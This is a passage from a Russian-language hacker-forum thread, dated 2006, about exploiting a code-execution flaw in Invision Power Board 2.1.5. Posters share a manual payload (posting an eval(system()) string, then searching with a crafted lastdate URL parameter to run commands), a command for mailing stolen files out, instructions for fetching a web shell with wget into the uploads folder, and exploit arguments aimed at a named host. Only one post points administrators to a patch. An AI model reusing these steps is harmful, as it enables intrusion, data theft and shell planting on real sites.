Форумы Уязвимость Invision Power Board 2.1.5

Discussion in 'Уязвимости CMS/форумов' started by Go0o$E, 26 Apr 2006.

Thread Status:
Not open for further replies.
Page 2 of 6
  1. dasNICK

    dasNICK New Member

    Joined:
    28 Feb 2006
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    А это какой командой если не секрет ?
     
    #21 dasNICK, 28 Apr 2006
  2. злюка

    злюка Elder - Старейшина

    Joined:
    11 Nov 2005
    Messages:
    337
    Likes Received:
    132
    Reputations:
    69
    А это какой командой если не секрет ?

    например cat имя_файла| mail твоё_мыло
     
    #22 злюка, 28 Apr 2006
  3. dasNICK

    dasNICK New Member

    Joined:
    28 Feb 2006
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    Оппа.. забавно..
    А Shell в папку Uploads у меня не залился.. Или опять всё из-за врождённой криворукости ?
     
    #23 dasNICK, 29 Apr 2006
  4. degeneration x

    degeneration x Elder - Старейшина

    Joined:
    11 Oct 2005
    Messages:
    92
    Likes Received:
    38
    Reputations:
    21
    да, именно этой.

    Токо странно, почему не всегда получается выполнять команды, хотя я на 100% уверен, что форум не пропатчен. Иногда бывает ещё, что вместо того, чтобы вывести результат команды(например того-же ls -la), он мне выводит html код страницы. Странно всё это...
     
    #24 degeneration x, 29 Apr 2006
    Last edited: 29 Apr 2006
  5. dasNICK

    dasNICK New Member

    Joined:
    28 Feb 2006
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    А по моему правильно ls -lia

    Команда put запрещена для анонимов как известно.. А другой я не знаю.. Какой командой залить шелл если это вообще можно сделать
     
    #25 dasNICK, 29 Apr 2006
  6. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    инфа для админов:
    Чтобы пофиксить данную багу, зайдите на http://ibresource.ru/ Там уже есть заплатки, которые можно скачать. В частности, >> здесь <<
     
    #26 Rebz, 29 Apr 2006
  7. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    dasNICK, неважно, как .. ls -la; или ls- lia. Можно вообще просто ls.
    -la - это просто параметры.
     
    #27 Rebz, 29 Apr 2006
  8. dasNICK

    dasNICK New Member

    Joined:
    28 Feb 2006
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    Знаю.. просто действительно ls -la не работет у меня а ls -lia пашет
     
    #28 dasNICK, 29 Apr 2006
  9. oseLHAX

    oseLHAX New Member

    Joined:
    7 Jan 2006
    Messages:
    5
    Likes Received:
    4
    Reputations:
    3
    гы... бывают идиоты которые на виндовой тачке пытаются сделать ls -la; :D ROFL
    малчык тыбэ скока лэт?
    изучи команды cmd сначала.. dir пробуй.. если получиться значит точно надо учить..
     
    #29 oseLHAX, 29 Apr 2006
  10. Utochka

    Utochka Elder - Старейшина

    Joined:
    21 Dec 2005
    Messages:
    495
    Likes Received:
    106
    Reputations:
    54
    Может кто даст наводку как исправить сплойт, а то с перлом не очень дружу ((

    Или в личку если нехотите писать тут, всем кто поможет + )
     
    #30 Utochka, 29 Apr 2006
  11. Tem

    Tem -

    Joined:
    5 Oct 2005
    Messages:
    557
    Likes Received:
    157
    Reputations:
    179
    А что у тебя не пашет ?
     
    #31 Tem, 29 Apr 2006
  12. degeneration x

    degeneration x Elder - Старейшина

    Joined:
    11 Oct 2005
    Messages:
    92
    Likes Received:
    38
    Reputations:
    21
    Вот цитата с dl

     
    #32 degeneration x, 29 Apr 2006
  13. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
    Для тех у кого не получается со сплойтом, опишу как пользоваться ручками.
    1. Постим сообщение eval(system(dir)); //'
    2. В поиске ищем по своему нику все сообщения и не забываем поставить галочку на Show results as posts
    3. В конце url дописываем &lastdate=z|eval.*?%20//)%23e%00
    4. Enter. Выполняется dir.
     
    #33 Azazel, 29 Apr 2006
    1 person likes this.
  14. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    чо вы все прицепились к сплойту а? он рабочий, на 2.1.* может иногда не работать.

    для тренировки попробуйте

    -h resa.ipbhost.com -d / -l Des -p 123 -f 48 -v 0
     
    #34 k1b0rg, 29 Apr 2006
    1 person likes this.
  15. Black_Death

    Black_Death New Member

    Joined:
    16 Nov 2004
    Messages:
    26
    Likes Received:
    1
    Reputations:
    -1
    Ну ты даёшь!!!)))) Еще раз тебе поясню: не выполняется ни одна команда и на одном форуме! На локалхосте спокойно должна выполняться команда echo, но она тож не пашет!!!
     
    #35 Black_Death, 29 Apr 2006
    Last edited by a moderator: 29 Apr 2006
  16. dasNICK

    dasNICK New Member

    Joined:
    28 Feb 2006
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    У меня всё отлично пашет.. Сплоит исправил.. НО !
    Кто знает как залить shell ??? put , get и прочее запрещены для анонимнгого доступа. Подскажите команду которой это можно мделать
     
    #36 dasNICK, 29 Apr 2006
  17. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    ну если put и get отказываються работать, попробуй header и post.
     
    #37 k1b0rg, 29 Apr 2006
    1 person likes this.
  18. dasNICK

    dasNICK New Member

    Joined:
    28 Feb 2006
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    Эммм.. туплю конечно, но этих команд не знаю..
    шел на C: как залить в аплоадс ? ))
     
    #38 dasNICK, 29 Apr 2006
  19. Black_Death

    Black_Death New Member

    Joined:
    16 Nov 2004
    Messages:
    26
    Likes Received:
    1
    Reputations:
    -1
    Если он у тебя на компе, то надо залить на сайт (ну на народе например) далее командой cd перейти в аплоадс и wget'ом залить туда шелл
     
    #39 Black_Death, 29 Apr 2006
  20. злюка

    злюка Elder - Старейшина

    Joined:
    11 Nov 2005
    Messages:
    337
    Likes Received:
    132
    Reputations:
    69
    ну например вариант когда не у всех пользователей есть права постить сообщения
     
    #40 злюка, 29 Apr 2006
(You must log in or sign up to post here.)
Page 2 of 6
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.